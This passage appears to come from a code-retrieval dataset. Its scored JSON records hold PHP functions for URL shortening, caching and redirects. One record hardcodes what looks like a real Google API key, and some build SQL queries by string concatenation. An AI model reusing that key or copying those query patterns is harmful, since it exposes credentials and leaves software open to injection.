$this->db->get('item');\n \n //echo $data->num_rows ();\n //Check if we need to really run this function\n if($data->num_rows () == 0):\n echo 'We dont need to run anything';\n else:\n //create and add shortlink\n foreach ($data-> result () as $key):\n $url = base_url($key->slug.'?ref=short-link');\n $update['bitly'] = $this->bitly->shorten($url);\n\n //Update the item\n $this->db->where('item_id', $key->item_id);\n $this->db->update('item', $update);\n endforeach;\n endif;\n }", "title": "" }, { "docid": "b5f0b682650c39197c2181dad7f9ad1c", "score": "0.5404066", "text": "public static function increase_views_of_short_url($short_url_id){\n $short_url = self::filter_quick_note_id(trim($short_url_id));\n $count_previous_views = self::count_previous_views(trim($short_url_id));\n if($count_previous_views == null){\n return false;\n }\n $sql ='UPDATE '. static::$table_name;\n $sql .=' SET views='. self::$database->escape_string(++$count_previous_views['views']);\n $sql .=' WHERE short_url_id ='. \"'\".self::$database->escape_string($short_url_id) .\"'\";\n return self::$database->query($sql); // true or false\n }", "title": "" }, { "docid": "14e5976ad5a39d20af063b3db3cfee8e", "score": "0.5392619", "text": "public function updateAllShortURLs(){\n\t\t\tglobal $db;\n\t\t\t\n\t\t\t// We need to get the longURL and drawLink() to match...\n\t\t\tif($urls = $db->get_results(\"SELECT * FROM shorturls WHERE guid<=''\") ){\n\t\t\t\tforeach($urls as $url){\n\t\t\t\t\t// So now we have all of the unassigned urls...\n\t\t\t\t\t// ??????\n\t\t\t\t}\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "ca231309d88f478d5bb5cb45fd26efda", "score": "0.53893524", "text": "private function cacheResults($url, $results) {\n\t\tif (!empty($results)) {\n\t\t\t$cache = new Cache();\n\t\t\t$cache->set($this->getCacheKey($url), $results);\n\t\t}\n\t}", "title": "" }, { "docid": "6c1e9cdac9ecc24e4f82dd1798a0a8ae", "score": "0.53803647", "text": "function updateCache() {\r\n return $this->_fHandler->updateCache();\r\n }", "title": "" }, { "docid": "7507028daf7a4581f9487d9e657898f3", "score": "0.5377318", "text": "protected function update_cache(){\r\n\t\t$html = file_get_contents($this->_cfg->get('sfbaseurl'));\r\n\t\tif($html === false || !trim($html))\r\n\t\t\tthrow new Exception('Could not read SourceForge website');\r\n\t\t$mtch = null;\r\n\t\tif(!preg_match('/lazarus-(\\\\d+.\\\\d+.\\\\d+)-fpc-(\\\\d+.\\\\d+.\\\\d+)-/', $html, $mtch))\r\n\t\t\tthrow new Exception('Could not parse version from SourceForge');\r\n\t\t$data = array(\r\n\t\t\t'laz' => $mtch[1],\r\n\t\t\t'fpc' => $mtch[2],\r\n\t\t);\r\n\t\t$data = '<'.'?php return '.var_export($data, true).'; ?>';\r\n\t\tfile_put_contents($this->get_cache(), $data);\r\n\t}", "title": "" }, { "docid": "892aa66bf29dba708843505e1aa03ba0", "score": "0.53743744", "text": "public function shorten($url) {\n $uniqID = $this->hasher->hash();\n\n $this->linkRepository->create($uniqID,$url);\n\n return $uniqID;\n }", "title": "" }, { "docid": "32da56b6c4cdc0fa261a73a57f49013e", "score": "0.5368274", "text": "public static function shortened($url)\n {\n if (static::checkUrl($url)) {\n $shortUrl = static::where('original_url', $url)->first();\n\n if (empty($shortUrl)) {\n $shortUrl = static::create([\n 'original_url' => $url,\n 'short_url' => static::generateUniqueCode(),\n 'hits' => 0,\n ]);\n }\n\n\n return $shortUrl->short_url;\n }\n\n return false;\n }", "title": "" }, { "docid": "3d822c7769076b675b6c152cc05a34ac", "score": "0.5351821", "text": "protected function saveToCache() {}", "title": "" }, { "docid": "1eff6c0b83c966bcdf025d5c0b0d2ec4", "score": "0.53410685", "text": "private function updateUrl(){\n $this->url->status_code = $this->response['status_code'];\n $this->url->reason_phrase = $this->response['reason_phrase'];\n $this->url->location = $this->response['location'];\n $this->url->content_type = $this->response['content_type'];\n $this->url->content_length = $this->response['content_length'];\n $this->url->save();\n }", "title": "" }, { "docid": "0dc2b088c034fd2e489100fcdef7a87d", "score": "0.5332526", "text": "function update_site_cache($sites, $update_meta_cache = \\true)\n {\n }", "title": "" }, { "docid": "cc1cebbd71d186e84f8ed1c801dcb95d", "score": "0.5315044", "text": "protected function getURLcache($url){\n\n\t\t$urlContent = false;\n\t\t$cacheFile = PATH_site.'typo3temp/t3m_'.md5($_SERVER['HTTP_HOST'] . $url);\n\t\tif( !file_exists($cacheFile) || filemtime($cacheFile) < (time()-(3600*24*3)) ){\n\t\t\t$urlContent = trim(t3lib_div::getURL($url));\n\t\t\tif( !empty($urlContent) ){\n\t\t\t\t$encK = $this->getencryptionKey(strlen($urlContent));\n\t\t\t\t/* echo \"Wrote Cache $cacheFile<br>\\n\"; */\n\t\t\t\tt3lib_div::writeFile($cacheFile,($urlContent ^ $encK) ); /* hihihi ;-) */\n\n\t\t\t}else{ return false; }\n\t\t}else{\n\t\t\t/* echo \"Read Cache $cacheFile<br>\\n\"; */\n\t\t\t$urlContent = implode('',file($cacheFile));\n\t\t\t$encK = $this->getencryptionKey(strlen($urlContent));\n\t\t\t$urlContent = ($urlContent ^ $encK);\n\t\t}\n\t\treturn $urlContent;\n\t}", "title": "" }, { "docid": "81948ac67bce71e0f2e294c32f855c4a", "score": "0.5281651", "text": "public function update()\n {\n $validatedDate = $this->validate([\n 'title' => 'required',\n 'original_url' => 'required',\n 'platform_id' => 'required'\n ]);\n \n $link = Url::find($this->link_id);\n $link->update([\n 'title' => $this->title,\n 'shorten_url' => $this->shorten_url,\n ]);\n \n $this->updateMode = false;\n \n session()->flash('message', 'Shorten URL Updated Successfully.');\n $this->resetInputFields();\n }", "title": "" }, { "docid": "d0928ceff788fd00ecf97072422ad4c1", "score": "0.5281283", "text": "function wp_cache_add($key, $value, $group = '', $expiration = 0)\n{\n global $wp_object_cache;\n\n return $wp_object_cache->add($key, $value, $group, $expiration);\n}", "title": "" }, { "docid": "cab709c039c89be457aaea1afc84eb6e", "score": "0.5234398", "text": "function the_champ_clear_shorturl_cache(){\r\n\tglobal $wpdb;\r\n\t$wpdb->query(\"DELETE FROM $wpdb->postmeta WHERE meta_key = '_the_champ_ss_bitly_url'\");\r\n\tdie;\r\n}", "title": "" }, { "docid": "90be8fabcec783f9bb02976f6710e1fc", "score": "0.5220307", "text": "public function cache() {\r\n\t\t$this->resource->cache();\r\n\t}", "title": "" }, { "docid": "8eddc01094a77589a0629fdcf9056fee", "score": "0.5215903", "text": "function includeRSS( $url, $cache_file, $rss_function, $cache_refresh = false, $cache_lifetime = 3600) {\n $cache_dir = 'cache';\n $cache_file = $cache_dir.'/'.$cache_file;\n \n /* check if cache file does not exist or has a modification time that is older than cache lifetime */\n if ( $cache_refresh && \n (!file_exists( $cache_file) \n\t|| (time() - filemtime ($cache_file)) >= $cache_lifetime))\n {\n $rss_parser = new RSSParser();\n $item_array = $rss_parser->parse( $url);\n\n if ($item_array != null && count($item_array) != 0)\n\t{\n\t if (!file_exists( $cache_dir))\n\t mkdir ( $cache_dir);\n\n\t $out = fopen( $cache_file, \"w\");\n \n\t call_user_func( $rss_function, $item_array, $out);\n \n\t fclose( $out);\n\t}\n }\n\n include( $cache_file);\n}", "title": "" }, { "docid": "20b316cb076738d024ff0ea7903e5101", "score": "0.5179768", "text": "public function addUrl(Url $url)\n {\n if (strlen($url->loc) > self::URL_LENGTH_LIMIT) {\n throw new UrlTooLongException();\n }\n $writer = $this->getWriter();\n\n if (!$this->domain) {\n throw new DomainNotSetException();\n }\n\n $writer->add($this->domain . $url->loc, $url->priority, $url->lastmod, $url->changefreq);\n\n $this->urlsCount++;\n if ($this->urlsCount % $this->limit === 0) {\n $this->close();\n }\n }", "title": "" }, { "docid": "9646b8c5f17f46216129318daf09a3fb", "score": "0.51778746", "text": "public function saveToCache(){\r\n\t\t$n = \"hotspot_\" . $this->id;\r\n\r\n\t\t\\CacheHandler::setToCache($n,$this,20*60);\r\n\t}", "title": "" }, { "docid": "5aae2b30ce8300ff43652f7766f3ba8f", "score": "0.5166647", "text": "function _cache_refresh ($name = \"\") {\n\t\t$this->_cache_put($name);\n\t}", "title": "" }, { "docid": "847ae263c68dc615b2236002650d3f9c", "score": "0.5152908", "text": "public function cache() {\n if(!array_key_exists($this->steamId64, self::$steamIds)) {\n self::$steamIds[$this->steamId64] = $this;\n if(!empty($this->customUrl) &&\n !array_key_exists($this->customUrl, self::$steamIds)) {\n self::$steamIds[$this->customUrl] = $this;\n }\n }\n }", "title": "" }, { "docid": "7f68fcfe6b89c7b90c3c481bcb48cfce", "score": "0.514599", "text": "function expand($shortUrl, $params = array()){\n\t\t$raw = false;\n\t\tif (isset($params['raw'])) {\n\t\t\t$raw = $params['raw'];\n\t\t\tunset($params['raw']);\n\t\t}\n\n\t\t$cache = $this->_loadCache('expand');\n\n\t\t$toGet = array();\n\t\t$cached = array();\n\t\t$updateCache = false;\n\t\tforeach ((array)$shortUrl as $index => $value) {\n\t\t\t$value = trim($value);\n\t\t\t$hash = preg_match('#http://(bit\\.ly|j\\.mp)/(.+)#', $value, $matches) ? $matches[2] : $value;\n\t\t\tif (!isset($cache[$hash])) {\n\t\t\t\t$toGet[] = $hash;\n\t\t\t\t$updateCache = true;\n\t\t\t} else {\n\t\t\t\t$cached[$hash] = $cache[$hash];\n\t\t\t}\n\t\t}\n\n\t\tif ($updateCache) {\n\t\t\t$result = $this->get('expand', array('hash' => $toGet));\n\t\t\tif($result === null){\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\tforeach ($result->data->expand as $data) {\n\t\t\t\t$cache[$data->hash] = $data;\n\t\t\t\t$cached[$data->hash] = $data;\n\t\t\t}\n\n\t\t\t$this->_saveCache('expand', $cache);\n\t\t}\n\n\t\tif (!$raw) {\n\t\t\tforeach ($cached as $hash => $data) {\n\t\t\t\t$cached[$hash] = $data->long_url;\n\t\t\t}\n\t\t}\n\t\treturn count($cached) == 1 ? current($cached) : $cached;\n\t}", "title": "" }, { "docid": "569cfc6ede7af7e5ecec661600276826", "score": "0.5136699", "text": "private function _cacheStore($method, $url, $params, $response, $headers)\n\t {\n\t\t$cachecontrol = $this->httpheader(\"Cache-Control\");\n\t\tif ($cachecontrol !== \"no-cache\" && $cachecontrol !== \"no-store\")\n\t\t {\n\t\t\t$expires = $this->httpheader(\"Expires\");\n\t\t\tif (preg_match(\"/max-age=(?P<maxage>\\d+)/\", $cachecontrol, $m) > 0)\n\t\t\t {\n\t\t\t\t$ttl = $m[\"maxage\"];\n\t\t\t }\n\t\t\telse if ($expires !== false)\n\t\t\t {\n\t\t\t\ttry\n\t\t\t\t {\n\t\t\t\t\t$now = new DateTime(\"now\");\n\t\t\t\t\t$expiry = new DateTime($expires);\n\t\t\t\t\t$ttl = ($expiry->getTimestamp() - $now->getTimestamp());\n\t\t\t\t\tif ($ttl < 0)\n\t\t\t\t\t {\n\t\t\t\t\t\t$ttl = 0;\n\t\t\t\t\t }\n\t\t\t\t }\n\t\t\t\tcatch (Exception $e)\n\t\t\t\t {\n\t\t\t\t\t$ttl = 0;\n\t\t\t\t }\n\t\t\t }\n\t\t\telse\n\t\t\t {\n\t\t\t\t$now = new DateTime(\"now\");\n\t\t\t\t$expiry = clone $now;\n\t\t\t\t$interval = new DateInterval(\"P1Y\");\n\t\t\t\t$expiry->add($interval);\n\t\t\t\t$ttl = ($expiry->getTimestamp() - $now->getTimestamp());\n\t\t\t } //end if\n\n\t\t\tif ($ttl > 0)\n\t\t\t {\n\t\t\t\t$this->_db->execBinaryBlob(\n\t\t\t\t \"INSERT INTO `HTTPcache` SET \" .\n\t\t\t\t \"`method` = \" . $this->_db->sqlText($method) . \", \" .\n\t\t\t\t \"`url` = \" . $this->_db->sqlText($url) . \", \" .\n\t\t\t\t \"`params` = \" . $this->_db->sqlText($params) . \", \" .\n\t\t\t\t \"`response` = ?, \" .\n\t\t\t\t \"`headers` = ?, \" .\n\t\t\t\t \"`datetime` = NOW(), \" .\n\t\t\t\t \"`expiry` = DATE_ADD(NOW(), INTERVAL \" . $ttl . \" SECOND)\",\n\t\t\t\t array(\n\t\t\t\t bzcompress($response),\n\t\t\t\t bzcompress(serialize($headers)),\n\t\t\t\t )\n\t\t\t\t);\n\t\t\t }\n\t\t } //end if\n\t }", "title": "" }, { "docid": "dfbe9dfbfe793f5ed0b0d8e6a973face", "score": "0.5132124", "text": "function set ($url, $rss) {\n $this->ERROR = \"\";\n $cache_file = $this->file_name( $url );\n $fp = @fopen( $cache_file, 'w' );\n \n if ( ! $fp ) {\n $this->error(\n \"Cache unable to open file for writing: $cache_file\"\n );\n return 0;\n }\n \n \n $data = $this->serialize( $rss );\n fwrite( $fp, $data );\n fclose( $fp );\n \n return $cache_file;\n }", "title": "" }, { "docid": "d1676fbe0dcc755e09bb6d4ada362b6e", "score": "0.5131061", "text": "public function cacheDbEntry(\\MPF\\Db\\Entry $dbEntry, $tableName)\n {\n if (!array_key_exists($tableName, self::$modelCache)) {\n self::$modelCache[$tableName] = array();\n }\n\n // if we reached the \"limit\" of items in the cache we clean the old entries up\n if (count(self::$modelCache[$tableName]) > 10000) {\n array_splice(self::$modelCache[$tableName], 0, 5000);\n }\n\n // if we have an oldMd5 we need to remove it from the cache\n if ($dbEntry->oldMd5) {\n unset(self::$modelCache[$tableName][$dbEntry->oldMd5]);\n }\n self::$modelCache[$tableName][$dbEntry->getMD5()] = $dbEntry;\n }", "title": "" }, { "docid": "2b554c645764abd75e1d2fdf2c392f8b", "score": "0.5117751", "text": "function updateUlrsList($newUrl) {\n $urlFile = env('PBS_KIOSK_DIR').'/urls.list';\n $contents = file_get_contents($urlFile);\n $parsedLines = preg_split(\"/\\r?\\n|\\r/\", $contents);\n // Check if exists already\n $found = false;\n $rVal = 'notadded';\n foreach( $parsedLines as $rurl ) {\n if( trim($newUrl) == trim($rurl) ) $found = true;\n }\n if(!$found) {\n $contents .= \"\\r\\n\".$newUrl;\n if (file_put_contents($urlFile, $contents)) $rVal = 'added';\n }\n return response()->json($rVal);\n }", "title": "" }, { "docid": "318df9f3990f77061f4232e1c1bb6ecc", "score": "0.5115618", "text": "public function _getShortUrl($url, $title = null , $cache = false) {\n\t\t$this->url = $url;\n\t\t$api_key = $this->api_key;\n\t\t$app_id = self::API_CLIENT;\n\t\t$this->title = $title; // this should be the link title\n\n\t\t$api_url = 'http://cli.gs/api/v1/cligs/create?url=%s&title=%s&key=%s&appid=%s';\n\t\t$api_call = sprintf($api_url, $url, $title, $api_key, $app_id);\n\n\t\tif ($cache){\n\t\t\tif ( ! $short_url = $this->cacheGetUrl($url) ) {\n\t\t\t\t$short_url = $this->restServiceCurl($api_call);\n\t\t\t\t$this->cacheSetUrl($url, $short_url);\n\t\t\t}\n\t\t} else {\n\t\t\t$short_url = $this->restServiceCurl($api_call);\n\t\t}\n\n\t\t$this->short_url = $short_url;\n\t\treturn $short_url;\n\t}", "title": "" }, { "docid": "423f3bd47283c9e88e16aaf8ac3bf5f0", "score": "0.510755", "text": "static function store_data( $response, $args, $url ) {\n\t\t$status_code = wp_remote_retrieve_response_code( $response );\n\n\t\t// don't try to store if we don't have a 200 response\n\t\tif (\n\t\t\ttrue == apply_filters( 'wrc_only_cache_200', false )\n\t\t\t&& 200 != $status_code\n\t\t) {\n\t\t\treturn $response;\n\t\t}\n\n\t\t// if no cache expiration is set, we'll set the default expiration time\n\t\tif ( empty( $args['wp-rest-cache']['expires'] ) ) {\n\t\t\t$args['wp-rest-cache']['expires'] = WP_Rest_Cache::$default_expires;\n\t\t}\n\n\t\t$expiration_date = WP_Rest_Cache::get_expiration_date( $args['wp-rest-cache']['expires'], $status_code );\n\n\t\tglobal $wpdb;\n\n\t\t// if you're on PHP < 5.4.7 make sure you're not leaving the scheme out, as it'll screw up parse_url\n\t\t$parsed_url = parse_url( $url );\n\t\t$scheme = isset( $parsed_url['scheme'] ) ? $parsed_url['scheme'] . '://' : '';\n\t\t$host = isset( $parsed_url['host'] ) ? $parsed_url['host'] : '';\n\t\t$port = isset( $parsed_url['port'] ) ? ':' . $parsed_url['port'] : '';\n\t\t$user = isset( $parsed_url['user'] ) ? $parsed_url['user'] : '';\n\t\t$pass = isset( $parsed_url['pass'] ) ? ':' . $parsed_url['pass'] : '';\n\t\t$pass = ( $user || $pass ) ? $pass . '@' : '';\n\t\t$path = isset( $parsed_url['path'] ) ? $parsed_url['path'] : '';\n\t\t$query = isset( $parsed_url['query'] ) ? $parsed_url['query'] : '';\n\t\t$fragment = isset( $parsed_url['fragment'] ) ? '#' . $parsed_url['fragment'] : '';\n\n\t\t// Organize Query Args\n\t\tif( ! empty( $query ) ) {\n\t\t\t$query_args = explode( '&', $query );\n\t\t\tsort( $query_args, SORT_STRING );\n\t\t\t$query = implode( '&', $query_args );\n\t\t}\n\n\t\t// a domain could potentially not have a scheme, in which case we need to skip appending the colon\n\t\t$domain = $scheme . $user . $pass . $host . $port;\n\t\t$query .= $fragment;\n\n\t\t$tag = ! empty( $args['wp-rest-cache']['tag'] ) ? $args['wp-rest-cache']['tag'] : '';\n\t\t$update = ! empty( $args['wp-rest-cache']['update'] ) ? $args['wp-rest-cache']['update'] : 0;\n\t\t$md5 = md5( strtolower( $domain . $path . $query ) );\n\n\t\t$data = array(\n\t\t\t'rest_md5' => $md5,\n\t\t\t'rest_domain' => $domain,\n\t\t\t'rest_path' => $path,\n\t\t\t'rest_query_args' => $query,\n\t\t\t'rest_response' => maybe_serialize( $response ),\n\t\t\t'rest_expires' => $expiration_date,\n\t\t\t'rest_last_requested' => date( 'Y-m-d', time() ),\n\t\t\t// current UTC time\n\t\t\t'rest_tag' => $tag,\n\t\t\t'rest_to_update' => $update,\n\t\t\t'rest_args' => '',\n\t\t\t'rest_status_code' => $status_code,\n\t\t);\n\n\t\t// either update or insert\n\t\t$wpdb->replace( REST_CACHE_TABLE, $data );\n\n\t\treturn $response;\n\t}", "title": "" }, { "docid": "ae2c9711f3b8200cb163815d9be83e0a", "score": "0.5105479", "text": "function prefix_set_feed_cache_time( $seconds ) {\n return 1;\n}", "title": "" }, { "docid": "0f666325ebcccdfec297ec7b181c3b3c", "score": "0.51043904", "text": "public function cache_redirects( $url, $matched_redirect, $redirects ) {\n\t\t$cache = Redirect_Cache::init();\n\t\t$cache->set( $url, $matched_redirect, $redirects );\n\t}", "title": "" }, { "docid": "0349feaaa85e7237f702dc3f220eff84", "score": "0.51008314", "text": "function wp_cache_add($key, $data, $flag = '', $expire = 0)\n{\n global $wp_object_cache;\n return $wp_object_cache->add($key, $data, $flag, $expire);\n}", "title": "" }, { "docid": "59ae13c36b2336d76cbdd73c9bb9ce37", "score": "0.5090525", "text": "function apc_cache_redirect_shorturl( $args ) {\n\t$code = defined('APC_CACHE_REDIRECT_FIRST_CODE')?APC_CACHE_REDIRECT_FIRST_CODE:301;\n\t$location = $args[0];\n\t$keyword = $args[1];\n\tyourls_do_action( 'pre_redirect', $location, $code );\n\t$location = yourls_apply_filter( 'redirect_location', $location, $code );\n\t$code = yourls_apply_filter( 'redirect_code', $code, $location );\n\t// Redirect, either properly if possible, or via Javascript otherwise\n\tif( !headers_sent() ) {\n\t\tyourls_status_header( $code );\n\t\theader( \"Location: $location\" );\n\t\t// force the headers to be sent\n\t\techo \"Redirecting to $location\\n\";\n\t\t@ob_end_flush();\n\t\t@ob_flush();\n\t\tflush();\n\t} else {\n\t\tyourls_redirect_javascript( $location );\n\t}\n\n\t$start = microtime(true);\n\t// Update click count in main table\n\t$update_clicks = yourls_update_clicks( $keyword );\n\n\t// Update detailed log for stats\n\t$log_redirect = yourls_log_redirect( $keyword );\n\t$lapsed = sprintf(\"%01.3f\", 1000*(microtime(true) - $start));\n\tapc_cache_debug(\"redirect_shorturl: Database updates took $lapsed ms after sending redirect\");\n\t\n\tdie();\n}", "title": "" }, { "docid": "93996d688cecddbe6b63d129fa32b306", "score": "0.50770986", "text": "function wp_cache_set($key, $value, $group = '', $expiration = 0)\n{\n global $wp_object_cache;\n\n return $wp_object_cache->set($key, $value, $group, $expiration);\n}", "title": "" }, { "docid": "f12b5bc65b740563d451f3b50b90d2c7", "score": "0.50483936", "text": "public function cache($request, $response) {\n unset($request['api_sig']);\n foreach ($request as $key => $value) {\n if (empty($value))\n unset($request[$key]);\n else\n $request[$key] = (string) $request[$key];\n }\n $reqhash = md5(serialize($request));\n\n $result = mysql_query(\"SELECT COUNT(*) FROM \" . $this->cache_table . \" WHERE request = '\" . $reqhash . \"'\", $this->cache_db);\n $result = mysql_fetch_row($result);\n if ($result[0]) {\n $sql = \"UPDATE \" . $this->cache_table . \" SET response = '\" . str_replace(\"'\", \"''\", $response) . \"', expiration = '\" . strftime(\"%Y-%m-%d %H:%M:%S\") . \"' WHERE request = '\" . $reqhash . \"'\";\n mysql_query($sql, $this->cache_db);\n } else {\n $sql = \"INSERT INTO \" . $this->cache_table . \" (request, response, expiration) VALUES ('$reqhash', '\" . str_replace(\"'\", \"''\", $response) . \"', '\" . strftime(\"%Y-%m-%d %H:%M:%S\") . \"')\";\n mysql_query($sql, $this->cache_db);\n }\n }", "title": "" }, { "docid": "55c22a8c19f753d0418e31692d02bd3e", "score": "0.504513", "text": "public static function Generate(string $url): string\n {\n do {\n $short_url = self::GenerateUniqueString();\n } while (Cache::has($short_url));\n Cache::forever($short_url, $url);\n return $short_url;\n }", "title": "" }, { "docid": "269f51def3a99e4c5480bd2ded8bd7af", "score": "0.50442594", "text": "function wp_cache_set_sites_last_changed()\n {\n }", "title": "" }, { "docid": "49fef58dccf0802ec21f8a2fa3797027", "score": "0.5028258", "text": "private function loadCache(): void\n {\n //====================================================================//\n // Safety Check\n if (!is_string($this->cacheKey) || empty($this->cacheKey)) {\n return;\n }\n //====================================================================//\n // Connect to Apcu Cache\n $this->cacheAdapter = new ApcuAdapter();\n //====================================================================//\n // Load Links from Cache\n try {\n /** @var array $cache */\n $cache = $this->cacheAdapter->get($this->cacheKey, function (ItemInterface $item): array {\n $item->expiresAfter(self::$cacheTtl);\n\n return array();\n });\n $this->cache = $cache;\n $this->cacheItem = $this->cacheAdapter->getItem($this->cacheKey);\n } catch (InvalidArgumentException $e) {\n $this->cache = array();\n }\n //====================================================================//\n // Load Empty Value\n if (!isset($this->cache)) {\n $this->cache = array();\n }\n }", "title": "" }, { "docid": "1addab705cff16c7db336f31bb09328e", "score": "0.501983", "text": "function cached($url = false, $cache_timeout = 15) {\n\t\tif(!$url) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$cache_file = $this->cachefile($url);\n\t\t\n\t\t$cache_timeout = $cache_timeout * 60;\n\t\t\n\t\t$cache_exists = file_exists($cache_file);\n\t\t\n\t\tif($cache_exists) {\n\t\t\t$cache_valid = (filemtime($cache_file)+$cache_timeout > time());\n\t\t} else {\n\t\t\t$cache_valid = false;\n\t\t}\n\t\t\n\t\tif($cache_exists && $cache_valid) {\n\t\t\t$cache_data = trim(file_get_contents($cache_file));\n\t\t\t$cache_object = @json_decode($cache_data);\n\t\t\tif($cache_data && $cache_object) {\n\t\t\t\treturn $cache_object;\n\t\t\t}\n\t\t} else if($cache_exists && !$cache_valid) {\n\t\t\tunlink($cache_file);\n\t\t}\n\t\t\n\t\treturn false;\n\t}", "title": "" }, { "docid": "7293335dbf0c142e1f701947736b593e", "score": "0.5018626", "text": "public function hitURL($url)\n\t{\n\t\t$this->statpro->insert(\n\t\t\t6,\n\t\t\tarray(\n\t\t\t\t$url,\n\t\t\t\ttime(),\n\t\t\t)\n\t\t);\n\t}", "title": "" }, { "docid": "7a1d2833ac4f694d42c7531bb475a7bb", "score": "0.50021917", "text": "function shorten($longUrl, $params = array()){\n\t\t$raw = false;\n\t\tif (isset($params['raw'])) {\n\t\t\t$raw = $params['raw'];\n\t\t\tunset($params['raw']);\n\t\t}\n\t\t$params['domain'] = $this->domain;\n\n\t\t$longUrl = trim($longUrl);\n\t\t$cache = $this->_loadCache('shorten');\n\t\t$cacheKey = $longUrl . serialize($params);\n\t\tif (!empty($cache)) {\n\t\t\tif (isset($cache[$cacheKey])) {\n\t\t\t\treturn $raw ? $cache[$cacheKey] : $cache[$cacheKey]->data->url;\n\t\t\t}\n\t\t} else {\n\t\t\t$cache = array();\n\t\t}\n\n\t\t$result = $this->get('shorten', compact('longUrl') + $params);\n\t\tif($result === null){\n\t\t\treturn null;\n\t\t}\n\t\t$cache[$cacheKey] = $result;\n\t\t$this->_saveCache('shorten', $cache);\n\t\treturn $raw ? $result : $result->data->url;\n\t}", "title": "" }, { "docid": "4c9b21e8e7b0539264a78db7931e14a2", "score": "0.49889165", "text": "public function flushCache();", "title": "" }, { "docid": "782d928d1dedaf15d8f7e154e801c6e3", "score": "0.4984949", "text": "public function cache() {\n $this->select(null,null,'slug asc');\n\t\tforeach ($this->cursor as $rec) {\n\t\t\t$this->cache[$rec->slug] = $rec->value;\n\t\t}\n\t}", "title": "" }, { "docid": "d280295c6f76d8884cc52d27d23da0d6", "score": "0.49807885", "text": "function shorten_url($longUrl) {\n $apiKey = 'AIzaSyAcgRrn7EoCeh3Ab1hRLf5GvZV5yhJajag';\n\n $postData = array('longUrl' => $longUrl, 'key' => $apiKey);\n $jsonData = json_encode($postData);\n\n $curlObj = curl_init();\n\n curl_setopt($curlObj, CURLOPT_URL, 'https://www.googleapis.com/urlshortener/v1/url');\n curl_setopt($curlObj, CURLOPT_RETURNTRANSFER, 1);\n curl_setopt($curlObj, CURLOPT_SSL_VERIFYPEER, 0);\n curl_setopt($curlObj, CURLOPT_HEADER, 0);\n curl_setopt($curlObj, CURLOPT_HTTPHEADER, array('Content-type:application/json'));\n curl_setopt($curlObj, CURLOPT_POST, 1);\n curl_setopt($curlObj, CURLOPT_POSTFIELDS, $jsonData);\n\n $response = curl_exec($curlObj);\n $json = json_decode($response);\n curl_close($curlObj);\n\n return $json->id;\n }", "title": "" }, { "docid": "be597439014e19994685cf82d31c3496", "score": "0.49777132", "text": "protected function expire( $url ) {\n\n \tif($this->ngx_cache->uri( $url )) {\n\n \tif( $this->ngx_cache->expire() ) {\n\n\n\t\t\t} else {\n\n\t\t\t\terror_log( \"Could not expire \" . $url );\n\n\t\t\t}\n\n \t} else {\n\n\t\t\terror_log( \"Could not expire \" . $url );\n\n\t\t}\n\n\t}", "title": "" }, { "docid": "ac09a1425fe721e7eb83b388f3f87399", "score": "0.49706283", "text": "private function addCacheIfNotExist(\n $url,\n Request $request,\n Response $response,\n callable $next\n ) {\n if (! $this->cache->has($url)) {\n $cacheable = $this->responseCacheFactory\n ->request($request)\n ->response($response)\n ->build($next, null);\n $this->cache->add($url, $cacheable);\n }\n }", "title": "" }, { "docid": "b3e879587af2d9c4df27faf3cd485bd7", "score": "0.49663648", "text": "function shAddSefUrlToDBAndCache($nonSefUrl, $sefString, $rank, $urlType)\n{\n\n\t$db = ShlDbHelper::getDb();\n\t$sefString = JString::ltrim($sefString, '/'); // V 1.2.4.t just in case you forgot to remove leading slash\n\tswitch ($urlType)\n\t{\n\t\tcase sh404SEF_URLTYPE_AUTO:\n\t\t\t$dateAdd = '0000-00-00';\n\t\t\tbreak;\n\t\tcase sh404SEF_URLTYPE_CUSTOM:\n\t\t\t$dateAdd = date(\"Y-m-d\");\n\t\t\tbreak;\n\t\tcase sh404SEF_URLTYPE_NONE:\n\t\t\treturn null;\n\t\t\tbreak;\n\t}\n\n\ttry\n\t{\n\n\t\t$query = '';\n\t\tif ($urlType == sh404SEF_URLTYPE_AUTO)\n\t\t{\n\t\t\t$result = ShlDbHelper::quoteQuery('select ??, ?? from ?? where ?? = ? and (?? = ? or ?? = ?)',\n\t\t\t\tarray('id', 'newurl', '#__sh404sef_urls', 'oldurl', 'newurl', 'newurl'), array($sefString, '', addslashes(urldecode($nonSefUrl))))\n\t\t\t\t->loadObject();\n\n\t\t\tif (!empty($result))\n\t\t\t{\n\t\t\t\t// sef urls was found either as a 404 or as already existing, with also the same non-sef\n\t\t\t\tif ($result->newurl == $nonSefUrl)\n\t\t\t\t{\n\t\t\t\t\t// url already in db, nothing to do\n\t\t\t\t\tShlSystem_Log::debug('sh404sef', 'url already in db, nothing to do');\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t\tShlDbHelper::update('#__sh404sef_urls', array('newurl' => addslashes(urldecode($nonSefUrl)), 'rank' => $rank, 'dateadd' => $dateAdd),\n\t\t\t\t\tarray('oldurl' => $sefString));\n\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t// another option: sef exists, but with another non-sef: that's a duplicate\n\t\t\t\t// need to check that\n\t\t\t\t$result = ShlDbHelper::selectObject('#__sh404sef_urls', array('id', 'newurl', 'rank'),\n\t\t\t\t\t$db->quoteName('oldurl') . ' = ? and ' . $db->quoteName('newurl') . ' <> ?',\n\t\t\t\t\tarray($sefString, addslashes(urldecode($nonSefUrl))), array('rank' => 'desc'));\n\n\t\t\t\tif (!empty($result))\n\t\t\t\t{\n\t\t\t\t\t// we found at least one identical SEF url, with another non-sef. Mark the new one as duplicate of the old one\n\t\t\t\t\t$rank = $result->rank + 1;\n\t\t\t\t}\n\n\t\t\t\tShlDbHelper::insert('#__sh404sef_urls', array('oldurl' => $sefString, 'newurl' => $nonSefUrl, 'rank' => $rank, 'dateadd' => $dateAdd));\n\n\t\t\t\t// store optional data\n\t\t\t\tSh404sefHelperUrl::storeUrlSourceData($nonSefUrl, $sefString);\n\t\t\t}\n\t\t}\n\n\t\t// store new sef/non-sef pair in memory cache\n\t\tSh404sefHelperCache::addSefUrlToCache($nonSefUrl, $sefString, $urlType);\n\n\t\t// create shURL : get a shURL model, and ask url creation\n\t\t$model = ShlMvcModel_Base::getInstance('pageids', 'Sh404sefModel');\n\t\t$model->createPageId($sefString, $nonSefUrl);\n\n\t}\n\tcatch (Exception $e)\n\t{\n\t\tShlSystem_Log::error('sh404sef', '%s::%s::%d: %s', __CLASS__, __METHOD__, __LINE__, 